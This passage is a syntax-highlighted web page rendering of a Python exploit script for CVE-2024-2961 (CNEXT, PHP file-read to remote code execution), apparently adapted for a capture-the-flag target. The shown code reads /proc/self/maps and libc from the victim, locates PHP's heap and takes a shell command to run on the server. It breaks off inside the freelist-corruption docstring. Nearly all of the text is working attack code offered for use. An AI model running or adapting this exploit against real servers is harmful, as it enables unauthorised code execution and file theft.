class="line">318</span><br><span class="line">319</span><br><span class="line">320</span><br><span class="line">321</span><br><span class="line">322</span><br><span class="line">323</span><br><span class="line">324</span><br><span class="line">325</span><br><span class="line">326</span><br><span class="line">327</span><br><span class="line">328</span><br><span class="line">329</span><br><span class="line">330</span><br><span class="line">331</span><br><span class="line">332</span><br><span class="line">333</span><br><span class="line">334</span><br><span class="line">335</span><br><span class="line">336</span><br><span class="line">337</span><br><span class="line">338</span><br><span class="line">339</span><br><span class="line">340</span><br><span class="line">341</span><br><span class="line">342</span><br><span class="line">343</span><br><span class="line">344</span><br><span class="line">345</span><br><span class="line">346</span><br><span class="line">347</span><br><span class="line">348</span><br><span class="line">349</span><br><span class="line">350</span><br><span class="line">351</span><br><span class="line">352</span><br><span class="line">353</span><br><span class="line">354</span><br><span class="line">355</span><br><span class="line">356</span><br><span class="line">357</span><br><span class="line">358</span><br><span class="line">359</span><br><span class="line">360</span><br><span class="line">361</span><br><span class="line">362</span><br><span class="line">363</span><br><span class="line">364</span><br><span class="line">365</span><br><span class="line">366</span><br><span class="line">367</span><br><span class="line">368</span><br><span class="line">369</span><br><span class="line">370</span><br><span class="line">371</span><br><span class="line">372</span><br><span class="line">373</span><br><span class="line">374</span><br><span class="line">375</span><br><span class="line">376</span><br><span class="line">377</span><br><span class="line">378</span><br><span class="line">379</span><br><span class="line">380</span><br><span class="line">381</span><br><span class="line">382</span><br><span class="line">383</span><br><span class="line">384</span><br><span class="line">385</span><br><span class="line">386</span><br><span class="line">387</span><br><span class="line">388</span><br><span class="line">389</span><br><span class="line">390</span><br><span class="line">391</span><br><span class="line">392</span><br><span class="line">393</span><br><span class="line">394</span><br><span class="line">395</span><br><span class="line">396</span><br><span class="line">397</span><br><span class="line">398</span><br><span class="line">399</span><br><span class="line">400</span><br><span class="line">401</span><br><span class="line">402</span><br><span class="line">403</span><br><span class="line">404</span><br><span class="line">405</span><br><span class="line">406</span><br><span class="line">407</span><br><span class="line">408</span><br><span class="line">409</span><br><span class="line">410</span><br><span class="line">411</span><br><span class="line">412</span><br><span class="line">413</span><br><span class="line">414</span><br><span class="line">415</span><br><span class="line">416</span><br><span class="line">417</span><br><span class="line">418</span><br><span class="line">419</span><br><span class="line">420</span><br><span class="line">421</span><br><span class="line">422</span><br><span class="line">423</span><br><span class="line">424</span><br><span class="line">425</span><br><span class="line">426</span><br><span class="line">427</span><br><span class="line">428</span><br><span class="line">429</span><br><span class="line">430</span><br><span class="line">431</span><br><span class="line">432</span><br><span class="line">433</span><br><span class="line">434</span><br><span class="line">435</span><br><span class="line">436</span><br><span class="line">437</span><br><span class="line">438</span><br><span class="line">439</span><br><span class="line">440</span><br><span class="line">441</span><br><span class="line">442</span><br><span class="line">443</span><br><span class="line">444</span><br><span class="line">445</span><br><span class="line">446</span><br><span class="line">447</span><br><span class="line">448</span><br><span class="line">449</span><br><span class="line">450</span><br><span class="line">451</span><br><span class="line">452</span><br><span class="line">453</span><br><span class="line">454</span><br><span class="line">455</span><br><span class="line">456</span><br><span class="line">457</span><br><span class="line">458</span><br><span class="line">459</span><br><span class="line">460</span><br><span class="line">461</span><br><span class="line">462</span><br><span class="line">463</span><br><span class="line">464</span><br><span class="line">465</span><br><span class="line">466</span><br><span class="line">467</span><br><span class="line">468</span><br><span class="line">469</span><br><span class="line">470</span><br><span class="line">471</span><br><span class="line">472</span><br><span class="line">473</span><br><span class="line">474</span><br><span class="line">475</span><br><span class="line">476</span><br><span class="line">477</span><br><span class="line">478</span><br><span class="line">479</span><br><span class="line">480</span><br><span class="line">481</span><br><span class="line">482</span><br><span class="line">483</span><br><span class="line">484</span><br><span class="line">485</span><br><span class="line">486</span><br><span class="line">487</span><br><span class="line">488</span><br><span class="line">489</span><br><span class="line">490</span><br><span class="line">491</span><br><span class="line">492</span><br><span class="line">493</span><br><span class="line">494</span><br><span class="line">495</span><br><span class="line">496</span><br><span class="line">497</span><br><span class="line">498</span><br><span class="line">499</span><br><span class="line">500</span><br><span class="line">501</span><br><span class="line">502</span><br><span class="line">503</span><br><span class="line">504</span><br><span class="line">505</span><br><span class="line">506</span><br><span class="line">507</span><br><span class="line">508</span><br><span class="line">509</span><br><span class="line">510</span><br><span class="line">511</span><br><span class="line">512</span><br><span class="line">513</span><br><span class="line">514</span><br><span class="line">515</span><br><span class="line">516</span><br><span class="line">517</span><br><span class="line">518</span><br><span class="line">519</span><br><span class="line">520</span><br><span class="line">521</span><br><span class="line">522</span><br><span class="line">523</span><br><span class="line">524</span><br><span class="line">525</span><br><span class="line">526</span><br><span class="line">527</span><br><span class="line">528</span><br><span class="line">529</span><br><span class="line">530</span><br><span class="line">531</span><br><span class="line">532</span><br><span class="line">533</span><br><span class="line">534</span><br><span class="line">535</span><br><span class="line">536</span><br><span class="line">537</span><br><span class="line">538</span><br><span class="line">539</span><br><span class="line">540</span><br><span class="line">541</span><br><span class="line">542</span><br><span class="line">543</span><br><span class="line">544</span><br><span class="line">545</span><br><span class="line">546</span><br><span class="line">547</span><br><span class="line">548</span><br><span class="line">549</span><br><span class="line">550</span><br><span class="line">551</span><br><span class="line">552</span><br><span class="line">553</span><br><span class="line">554</span><br><span class="line">555</span><br><span class="line">556</span><br><span class="line">557</span><br><span class="line">558</span><br><span class="line">559</span><br><span class="line">560</span><br><span class="line">561</span><br><span class="line">562</span><br><span class="line">563</span><br><span class="line">564</span><br><span class="line">565</span><br><span class="line">566</span><br><span class="line">567</span><br><span class="line">568</span><br><span class="line">569</span><br><span class="line">570</span><br><span class="line">571</span><br><span class="line">572</span><br><span class="line">573</span><br><span class="line">574</span><br><span class="line">575</span><br><span class="line">576</span><br><span class="line">577</span><br><span class="line">578</span><br><span class="line">579</span><br><span class="line">580</span><br><span class="line">581</span><br><span class="line">582</span><br><span class="line">583</span><br><span class="line">584</span><br><span class="line">585</span><br><span class="line">586</span><br><span class="line">587</span><br><span class="line">588</span><br><span class="line">589</span><br><span class="line">590</span><br><span class="line">591</span><br><span class="line">592</span><br><span class="line">593</span><br><span class="line">594</span><br><span class="line">595</span><br><span class="line">596</span><br><span class="line">597</span><br><span class="line">598</span><br><span class="line">599</span><br><span class="line">600</span><br><span class="line">601</span><br><span class="line">602</span><br><span class="line">603</span><br><span class="line">604</span><br><span class="line">605</span><br><span class="line">606</span><br><span class="line">607</span><br><span class="line">608</span><br><span class="line">609</span><br><span class="line">610</span><br><span class="line">611</span><br><span class="line">612</span><br><span class="line">613</span><br><span class="line">614</span><br><span class="line">615</span><br><span class="line">616</span><br><span class="line">617</span><br><span class="line">618</span><br><span class="line">619</span><br><span class="line">620</span><br><span class="line">621</span><br><span class="line">622</span><br><span class="line">623</span><br><span class="line">624</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="comment">#</span></span><br><span class="line"><span class="comment"># CNEXT: PHP file-read to RCE (CVE-2024-2961)</span></span><br><span class="line"><span class="comment"># Date: 2024-05-27</span></span><br><span class="line"><span class="comment"># Author: Charles FOL @cfreal_ (LEXFO/AMBIONICS)</span></span><br><span class="line"><span class="comment">#</span></span><br><span class="line"><span class="comment"># TODO Parse LIBC to know if patched</span></span><br><span class="line"><span class="comment">#</span></span><br><span class="line"><span class="comment"># INFORMATIONS</span></span><br><span class="line"><span class="comment">#</span></span><br><span class="line"><span class="comment"># To use, implement the Remote class, which tells the exploit how to send the payload.</span></span><br><span class="line"><span class="comment">#</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> __future__ <span class="keyword">import</span> annotations</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> base64</span><br><span class="line"><span class="keyword">import</span> zlib</span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> dataclasses <span class="keyword">import</span> dataclass</span><br><span class="line"><span class="keyword">from</span> requests.exceptions <span class="keyword">import</span> ConnectionError, ChunkedEncodingError</span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> ten <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> ten <span class="keyword">import</span> entry</span><br><span class="line"></span><br><span class="line">HEAP_SIZE = <span class="number">2</span> * <span class="number">1024</span> * <span class="number">1024</span></span><br><span class="line">BUG = <span class="string">&quot;劄&quot;</span>.encode(<span class="string">&quot;utf-8&quot;</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Remote</span>:</span><br><span class="line">    <span class="string">&quot;&quot;&quot;A helper class to send the payload and download files.</span></span><br><span class="line"><span class="string">    </span></span><br><span class="line"><span class="string">    The logic of the exploit is always the same, but the exploit needs to know how to</span></span><br><span class="line"><span class="string">    download files (/proc/self/maps and libc) and how to send the payload.</span></span><br><span class="line"><span class="string">    </span></span><br><span class="line"><span class="string">    The code here serves as an example that attacks a page that looks like:</span></span><br><span class="line"><span class="string">    </span></span><br><span class="line"><span class="string">    ```php</span></span><br><span class="line"><span class="string">    &lt;?php</span></span><br><span class="line"><span class="string">    </span></span><br><span class="line"><span class="string">    $data = file_get_contents($_POST[&#x27;file&#x27;]);</span></span><br><span class="line"><span class="string">    echo &quot;File contents: $data&quot;;</span></span><br><span class="line"><span class="string">    Tweak it to fit your target, and start the exploit.</span></span><br><span class="line"><span class="string">    &quot;&quot;&quot;</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self, url: <span class="built_in">str</span></span>) -&gt; <span class="literal">None</span>:</span><br><span class="line">        self.url = url</span><br><span class="line">        self.session = Session()</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">send</span>(<span class="params">self, path: <span class="built_in">str</span></span>) -&gt; Response:</span><br><span class="line">        <span class="string">&quot;&quot;&quot;Sends given `path` to the HTTP server. Returns the response.</span></span><br><span class="line"><span class="string">        &quot;&quot;&quot;</span></span><br><span class="line">        <span class="comment">#print(self.url)</span></span><br><span class="line">        <span class="keyword">return</span> self.session.post(self.url, data=&#123;<span class="string">&quot;file&quot;</span>: path&#125;)</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">download</span>(<span class="params">self, path: <span class="built_in">str</span></span>) -&gt; <span class="built_in">bytes</span>:</span><br><span class="line">        <span class="string">&quot;&quot;&quot;Returns the contents of a remote file.</span></span><br><span class="line"><span class="string">        &quot;&quot;&quot;</span></span><br><span class="line">        </span><br><span class="line">        <span class="comment">#path = f&quot;php://filter/convert.base64-encode/resource=&#123;path&#125;&quot;</span></span><br><span class="line">        path = <span class="string">f&quot;file://<span class="subst">&#123;path&#125;</span>&quot;</span></span><br><span class="line">        response = self.session.post(self.url, data=&#123;<span class="string">&quot;file&quot;</span>: path&#125;)</span><br><span class="line">        <span class="comment">#print(&quot;=====================&quot;)</span></span><br><span class="line">        <span class="built_in">print</span>(path)</span><br><span class="line">        <span class="comment">#print(f&quot;Text:&#123;response.text&#125;&quot;)</span></span><br><span class="line">        data = response.re.search(<span class="string">b&quot;File contents: (.*)&quot;</span>, flags=re.S).group(<span class="number">1</span>)</span><br><span class="line">        <span class="comment">#return base64.decode(data)</span></span><br><span class="line">        <span class="keyword">return</span> data</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">include</span>(<span class="params">self, path: <span class="built_in">str</span></span>) -&gt; <span class="built_in">bytes</span>:</span><br><span class="line">        response = self.session.post(self.url, data=&#123;<span class="string">&quot;include&quot;</span>: path&#125;)</span><br><span class="line">        <span class="comment">#print(&quot;========&quot;)</span></span><br><span class="line">        <span class="comment">#print(f&quot;res:&#123;response.content&#125;&quot;)</span></span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            data = response.re.search(<span class="string">b&quot;include: (.*)&quot;</span>, flags=re.S).group(<span class="number">1</span>)</span><br><span class="line">            <span class="comment">#print(path)</span></span><br><span class="line">            <span class="comment">#print(response.text)</span></span><br><span class="line">            <span class="keyword">return</span> data.decode()</span><br><span class="line">        <span class="keyword">except</span> AttributeError:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;按寻思这玩意能跑&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line">        <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">dataio</span>(<span class="params">self,data: <span class="built_in">str</span></span>) -&gt; <span class="literal">None</span>:</span><br><span class="line">        response = self.session.post(self.url, data=&#123;<span class="string">&quot;input&quot;</span>: data&#125;)</span><br><span class="line">        <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@entry</span></span><br><span class="line"><span class="meta">@arg(<span class="params"><span class="string">&quot;url&quot;</span>, <span class="string">&quot;Target URL&quot;</span></span>)</span></span><br><span class="line"><span class="meta">@arg(<span class="params"><span class="string">&quot;command&quot;</span>, <span class="string">&quot;Command to run on the system; limited to 0x140 bytes&quot;</span></span>)</span></span><br><span class="line"><span class="meta">@arg(<span class="params"><span class="string">&quot;sleep&quot;</span>, <span class="string">&quot;Time to sleep to assert that the exploit worked. By default, 1.&quot;</span></span>)</span></span><br><span class="line"><span class="meta">@arg(<span class="params"><span class="string">&quot;heap&quot;</span>, <span class="string">&quot;Address of the main zend_mm_heap structure.&quot;</span></span>)</span></span><br><span class="line"><span class="meta">@arg(<span class="params"></span></span></span><br><span class="line"><span class="params"><span class="meta">    <span class="string">&quot;pad&quot;</span>,</span></span></span><br><span class="line"><span class="params"><span class="meta">    <span class="string">&quot;Number of 0x100 chunks to pad with. If the website makes a lot of heap &quot;</span></span></span></span><br><span class="line"><span class="params"><span class="meta">    <span class="string">&quot;operations with this size, increase this. Defaults to 20.&quot;</span>,</span></span></span><br><span class="line"><span class="params"><span class="meta"></span>)</span></span><br><span class="line"><span class="meta">@dataclass</span></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Exploit</span>:</span><br><span class="line">    <span class="string">&quot;&quot;&quot;CNEXT exploit: RCE using a file read primitive in PHP.&quot;&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">    url: <span class="built_in">str</span></span><br><span class="line">    command: <span class="built_in">str</span></span><br><span class="line">    sleep: <span class="built_in">int</span> = <span class="number">1</span></span><br><span class="line">    heap: <span class="built_in">str</span> = <span class="literal">None</span></span><br><span class="line">    pad: <span class="built_in">int</span> = <span class="number">20</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__post_init__</span>(<span class="params">self</span>):</span><br><span class="line">        self.remote = Remote(self.url)</span><br><span class="line">        self.log = logger(<span class="string">&quot;EXPLOIT&quot;</span>)</span><br><span class="line">        self.info = &#123;&#125;</span><br><span class="line">        self.heap = self.heap <span class="keyword">and</span> <span class="built_in">int</span>(self.heap, <span class="number">16</span>)</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">check_vulnerable</span>(<span class="params">self</span>) -&gt; <span class="literal">None</span>:</span><br><span class="line">        <span class="string">&quot;&quot;&quot;Checks whether the target is reachable and properly allows for the various</span></span><br><span class="line"><span class="string">        wrappers and filters that the exploit needs.</span></span><br><span class="line"><span class="string">        &quot;&quot;&quot;</span></span><br><span class="line">        </span><br><span class="line">        <span class="keyword">def</span> <span class="title function_">safe_download</span>(<span class="params">path: <span class="built_in">str</span></span>) -&gt; <span class="built_in">bytes</span>:</span><br><span class="line">            <span class="keyword">try</span>:</span><br><span class="line">                <span class="keyword">return</span> self.remote.download(path)</span><br><span class="line">            <span class="keyword">except</span> ConnectionError:</span><br><span class="line">                failure(<span class="string">&quot;Target not [b]reachable[/] ?&quot;</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">        <span class="keyword">def</span> <span class="title function_">check_token</span>(<span class="params">text: <span class="built_in">str</span>, path: <span class="built_in">str</span></span>) -&gt; <span class="built_in">bool</span>:</span><br><span class="line">            self.remote.dataio(text)</span><br><span class="line">            <span class="comment">#print(f&quot;text:&#123;text&#125;&quot;)</span></span><br><span class="line">            result = self.remote.include(path)</span><br><span class="line">            <span class="built_in">print</span>(path)</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;result:<span class="subst">&#123;result&#125;</span>&quot;</span>)</span><br><span class="line">            <span class="comment">#return text.encode() == result</span></span><br><span class="line">            <span class="keyword">return</span> text == result</span><br><span class="line">    </span><br><span class="line">        text = tf.random.string(<span class="number">50</span>).encode()</span><br><span class="line">        base64 = b64(text, misalign=<span class="literal">True</span>).decode()</span><br><span class="line">        <span class="comment">#path = f&quot;data:text/plain;base64,&#123;base64&#125;&quot;####################################</span></span><br><span class="line">        path = <span class="string">f&quot;<span class="subst">&#123;base64&#125;</span>&quot;</span></span><br><span class="line">        <span class="comment">#result = safe_download(path)</span></span><br><span class="line">        <span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">        if text not in result:</span></span><br><span class="line"><span class="string">            msg_failure(&quot;Remote.download did not return the test string&quot;)</span></span><br><span class="line"><span class="string">            print(&quot;--------------------&quot;)</span></span><br><span class="line"><span class="string">            print(f&quot;Expected test string: &#123;text&#125;&quot;)</span></span><br><span class="line"><span class="string">            print(f&quot;Got: &#123;result&#125;&quot;)</span></span><br><span class="line"><span class="string">            print(&quot;--------------------&quot;)</span></span><br><span class="line"><span class="string">            failure(&quot;If your code works fine, it means that the [i]data://[/] wrapper does not work&quot;)</span></span><br><span class="line"><span class="string">    </span></span><br><span class="line"><span class="string">        msg_info(&quot;The [i]data://[/] wrapper works&quot;)</span></span><br><span class="line"><span class="string">    </span></span><br><span class="line"><span class="string">        text = tf.random.string(50)</span></span><br><span class="line"><span class="string">        base64 = b64(text.encode(), misalign=True).decode()</span></span><br><span class="line"><span class="string">        path = f&quot;php://filter//resource=data:text/plain;base64,&#123;base64&#125;&quot;</span></span><br><span class="line"><span class="string">        if not check_token(text, path):</span></span><br><span class="line"><span class="string">            failure(&quot;The [i]php://filter/[/] wrapper does not work&quot;)</span></span><br><span class="line"><span class="string">    </span></span><br><span class="line"><span class="string">        msg_info(&quot;The [i]php://filter/[/] wrapper works&quot;)</span></span><br><span class="line"><span class="string">    </span></span><br><span class="line"><span class="string">        text = tf.random.string(50)</span></span><br><span class="line"><span class="string">        base64 = b64(compress(text.encode()), misalign=True).decode()</span></span><br><span class="line"><span class="string">        path = f&quot;php://filter/zlib.inflate/resource=data:text/plain;base64,&#123;base64&#125;&quot;</span></span><br><span class="line"><span class="string">    </span></span><br><span class="line"><span class="string">        if not check_token(text, path):</span></span><br><span class="line"><span class="string">            failure(&quot;The [i]zlib[/] extension is not enabled&quot;)</span></span><br><span class="line"><span class="string">    </span></span><br><span class="line"><span class="string">        msg_info(&quot;The [i]zlib[/] extension is enabled&quot;)</span></span><br><span class="line"><span class="string">    </span></span><br><span class="line"><span class="string">        msg_success(&quot;Exploit preconditions are satisfied&quot;)</span></span><br><span class="line"><span class="string">    &#x27;&#x27;&#x27;</span></span><br><span class="line">        text = tf.random.string(<span class="number">50</span>)</span><br><span class="line">        base64 = b64(text.encode(), misalign=<span class="literal">True</span>).decode()</span><br><span class="line">        path = <span class="string">f&quot;php://filter//resource=/tmp/io&quot;</span></span><br><span class="line">        <span class="comment">#if not check_token(base64, path):</span></span><br><span class="line">            <span class="comment">#failure(&quot;The [i]php://filter/[/] wrapper does not work&quot;)</span></span><br><span class="line">    </span><br><span class="line">        <span class="comment">#msg_info(&quot;The [i]php://filter/[/] wrapper works&quot;)</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">        text = tf.random.string(<span class="number">50</span>)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;text: <span class="subst">&#123;text&#125;</span>&quot;</span>)</span><br><span class="line">        compressed =compress(text.encode())</span><br><span class="line">        base64 = b64(compress(text.encode()), misalign=<span class="literal">True</span>).decode()</span><br><span class="line">        path = <span class="string">f&quot;php://filter/zlib.inflate/resource=/tmp/io&quot;</span></span><br><span class="line">        <span class="comment">#if not check_token(compressed, path):</span></span><br><span class="line">            <span class="comment">#failure(&quot;The [i]zlib[/] extension is not enabled&quot;)</span></span><br><span class="line">    </span><br><span class="line">        <span class="comment">#msg_info(&quot;The [i]zlib[/] extension is enabled&quot;)</span></span><br><span class="line">    </span><br><span class="line">        msg_success(<span class="string">&quot;Exploit preconditions are satisfied&quot;</span>)</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">get_file</span>(<span class="params">self, path: <span class="built_in">str</span></span>) -&gt; <span class="built_in">bytes</span>:</span><br><span class="line">        <span class="keyword">with</span> msg_status(<span class="string">f&quot;Downloading [i]<span class="subst">&#123;path&#125;</span>[/]...&quot;</span>):</span><br><span class="line">            <span class="keyword">return</span> self.remote.download(path)</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">get_regions</span>(<span class="params">self</span>) -&gt; <span class="built_in">list</span>[Region]:</span><br><span class="line">        <span class="string">&quot;&quot;&quot;Obtains the memory regions of the PHP process by querying /proc/self/maps.&quot;&quot;&quot;</span></span><br><span class="line">        maps = self.get_file(<span class="string">&quot;/proc/self/maps&quot;</span>)</span><br><span class="line">        maps = maps.decode()</span><br><span class="line">        PATTERN = re.<span class="built_in">compile</span>(</span><br><span class="line">            <span class="string">r&quot;^([a-f0-9]+)-([a-f0-9]+)\b&quot;</span> <span class="string">r&quot;.*&quot;</span> <span class="string">r&quot;\s([-rwx]&#123;3&#125;[ps])\s&quot;</span> <span class="string">r&quot;(.*)&quot;</span></span><br><span class="line">        )</span><br><span class="line">        regions = []</span><br><span class="line">        <span class="keyword">for</span> region <span class="keyword">in</span> table.split(maps, strip=<span class="literal">True</span>):</span><br><span class="line">            <span class="keyword">if</span> <span class="keyword">match</span> := PATTERN.<span class="keyword">match</span>(region):</span><br><span class="line">                start = <span class="built_in">int</span>(<span class="keyword">match</span>.group(<span class="number">1</span>), <span class="number">16</span>)</span><br><span class="line">                stop = <span class="built_in">int</span>(<span class="keyword">match</span>.group(<span class="number">2</span>), <span class="number">16</span>)</span><br><span class="line">                permissions = <span class="keyword">match</span>.group(<span class="number">3</span>)</span><br><span class="line">                path = <span class="keyword">match</span>.group(<span class="number">4</span>)</span><br><span class="line">                <span class="keyword">if</span> <span class="string">&quot;/&quot;</span> <span class="keyword">in</span> path <span class="keyword">or</span> <span class="string">&quot;[&quot;</span> <span class="keyword">in</span> path:</span><br><span class="line">                    path = path.rsplit(<span class="string">&quot; &quot;</span>, <span class="number">1</span>)[-<span class="number">1</span>]</span><br><span class="line">                <span class="keyword">else</span>:</span><br><span class="line">                    path = <span class="string">&quot;&quot;</span></span><br><span class="line">                current = Region(start, stop, permissions, path)</span><br><span class="line">                regions.append(current)</span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                <span class="built_in">print</span>(maps)</span><br><span class="line">                failure(<span class="string">&quot;Unable to parse memory mappings&quot;</span>)</span><br><span class="line">    </span><br><span class="line">        self.log.info(<span class="string">f&quot;Got <span class="subst">&#123;<span class="built_in">len</span>(regions)&#125;</span> memory regions&quot;</span>)</span><br><span class="line">    </span><br><span class="line">        <span class="keyword">return</span> regions</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">get_symbols_and_addresses</span>(<span class="params">self</span>) -&gt; <span class="literal">None</span>:</span><br><span class="line">        <span class="string">&quot;&quot;&quot;Obtains useful symbols and addresses from the file read primitive.&quot;&quot;&quot;</span></span><br><span class="line">        regions = self.get_regions()</span><br><span class="line">    </span><br><span class="line">        LIBC_FILE = <span class="string">&quot;/dev/shm/cnext-libc&quot;</span></span><br><span class="line">    </span><br><span class="line">        <span class="comment"># PHP&#x27;s heap</span></span><br><span class="line">    </span><br><span class="line">        self.info[<span class="string">&quot;heap&quot;</span>] = self.heap <span class="keyword">or</span> self.find_main_heap(regions)</span><br><span class="line">    </span><br><span class="line">        <span class="comment"># Libc</span></span><br><span class="line">    </span><br><span class="line">        libc = self._get_region(regions, <span class="string">&quot;libc-&quot;</span>, <span class="string">&quot;libc.so&quot;</span>)</span><br><span class="line">    </span><br><span class="line">        self.download_file(libc.path, LIBC_FILE)</span><br><span class="line">    </span><br><span class="line">        self.info[<span class="string">&quot;libc&quot;</span>] = ELF(LIBC_FILE, checksec=<span class="literal">False</span>)</span><br><span class="line">        self.info[<span class="string">&quot;libc&quot;</span>].address = libc.start</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">_get_region</span>(<span class="params">self, regions: <span class="built_in">list</span>[Region], *names: <span class="built_in">str</span></span>) -&gt; Region:</span><br><span class="line">        <span class="string">&quot;&quot;&quot;Returns the first region whose name matches one of the given names.&quot;&quot;&quot;</span></span><br><span class="line">        <span class="keyword">for</span> region <span class="keyword">in</span> regions:</span><br><span class="line">            <span class="keyword">if</span> <span class="built_in">any</span>(name <span class="keyword">in</span> region.path <span class="keyword">for</span> name <span class="keyword">in</span> names):</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            failure(<span class="string">&quot;Unable to locate region&quot;</span>)</span><br><span class="line">    </span><br><span class="line">        <span class="keyword">return</span> region</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">download_file</span>(<span class="params">self, remote_path: <span class="built_in">str</span>, local_path: <span class="built_in">str</span></span>) -&gt; <span class="literal">None</span>:</span><br><span class="line">        <span class="string">&quot;&quot;&quot;Downloads `remote_path` to `local_path`&quot;&quot;&quot;</span></span><br><span class="line">        data = self.get_file(remote_path)</span><br><span class="line">        Path(local_path).write(data)</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">find_main_heap</span>(<span class="params">self, regions: <span class="built_in">list</span>[Region]</span>) -&gt; Region:</span><br><span class="line">        <span class="comment"># Any anonymous RW region with a size superior to the base heap size is a</span></span><br><span class="line">        <span class="comment"># candidate. The heap is at the bottom of the region.</span></span><br><span class="line">        heaps = [</span><br><span class="line">            region.stop - HEAP_SIZE + <span class="number">0x40</span></span><br><span class="line">            <span class="keyword">for</span> region <span class="keyword">in</span> <span class="built_in">reversed</span>(regions)</span><br><span class="line">            <span class="keyword">if</span> region.permissions == <span class="string">&quot;rw-p&quot;</span></span><br><span class="line">            <span class="keyword">and</span> region.size &gt;= HEAP_SIZE</span><br><span class="line">            <span class="keyword">and</span> region.stop &amp; (HEAP_SIZE-<span class="number">1</span>) == <span class="number">0</span></span><br><span class="line">            <span class="keyword">and</span> region.path <span class="keyword">in</span> (<span class="string">&quot;&quot;</span>, <span class="string">&quot;[anon:zend_alloc]&quot;</span>)</span><br><span class="line">        ]</span><br><span class="line">    </span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> heaps:</span><br><span class="line">            failure(<span class="string">&quot;Unable to find PHP&#x27;s main heap in memory&quot;</span>)</span><br><span class="line">    </span><br><span class="line">        first = heaps[<span class="number">0</span>]</span><br><span class="line">    </span><br><span class="line">        <span class="keyword">if</span> <span class="built_in">len</span>(heaps) &gt; <span class="number">1</span>:</span><br><span class="line">            heaps = <span class="string">&quot;, &quot;</span>.join(<span class="built_in">map</span>(<span class="built_in">hex</span>, heaps))</span><br><span class="line">            msg_info(<span class="string">f&quot;Potential heaps: [i]<span class="subst">&#123;heaps&#125;</span>[/] (using first)&quot;</span>)</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            msg_info(<span class="string">f&quot;Using [i]<span class="subst">&#123;<span class="built_in">hex</span>(first)&#125;</span>[/] as heap&quot;</span>)</span><br><span class="line">    </span><br><span class="line">        <span class="keyword">return</span> first</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">run</span>(<span class="params">self</span>) -&gt; <span class="literal">None</span>:</span><br><span class="line">        self.check_vulnerable()</span><br><span class="line">        self.get_symbols_and_addresses()</span><br><span class="line">        self.exploit()</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">build_exploit_path</span>(<span class="params">self</span>) -&gt; <span class="built_in">str</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;wwwwwwwwwwwwwwwww&quot;</span>)</span><br><span class="line">        <span class="string">&quot;&quot;&quot;On each step of the exploit, a filter will process each chunk one after the</span></span><br><span class="line"><span class="string">        other. Processing generally involves making some kind of operation either</span></span><br><span class="line"><span class="string">        on the chunk or in a destination chunk of the same size. Each operation is</span></span><br><span class="line"><span class="string">        applied on every single chunk; you cannot make PHP apply iconv on the first 10</span></span><br><span class="line"><span class="string">        chunks and leave the rest in place. That&#x27;s where the difficulties come from.</span></span><br><span class="line"><span class="string">    </span></span><br><span class="line"><span class="string">        Keep in mind that we know the address of the main heap, and the libraries.</span></span><br><span class="line"><span class="string">        ASLR/PIE do not matter here.</span></span><br><span class="line"><span class="string">    </span></span><br><span class="line"><span class="string">        The idea is to use the bug to make the freelist for chunks of size 0x100 point</span></span><br><span class="line"><span class="string">        lower. For instance, we have the following free list:</span></span><br><span class="line"><span class="string">    </span></span><br><span class="line"><span class="string">        ... -&gt; 0x7fffAABBCC900 -&gt; 0x7fffAABBCCA00 -&gt; 0x7fffAABBCCB00</span></span><br><span class="line"><span class="string">    </span></span><br><span class="line"><span class="string">        By triggering the bug from chunk ..900, we get:</span></span><br><span class="line"><span class="string">    </span></span><br><span class="line"><span class="string">        ... -&gt; 0x7fffAABBCCA00 -&gt; 0x7fffAABBCCB48 -&gt; ???</span></span><br><span class="line"><span class="string">    </span></span><br><span class="line"><span class="string">        That&#x27;s step 3.</span></span><br><span class="line"><span class="string">    </span></span><br><span class="line"><span class="string">        Now, in order to control the free list, and make it point whereever we want,</span></span><br><span 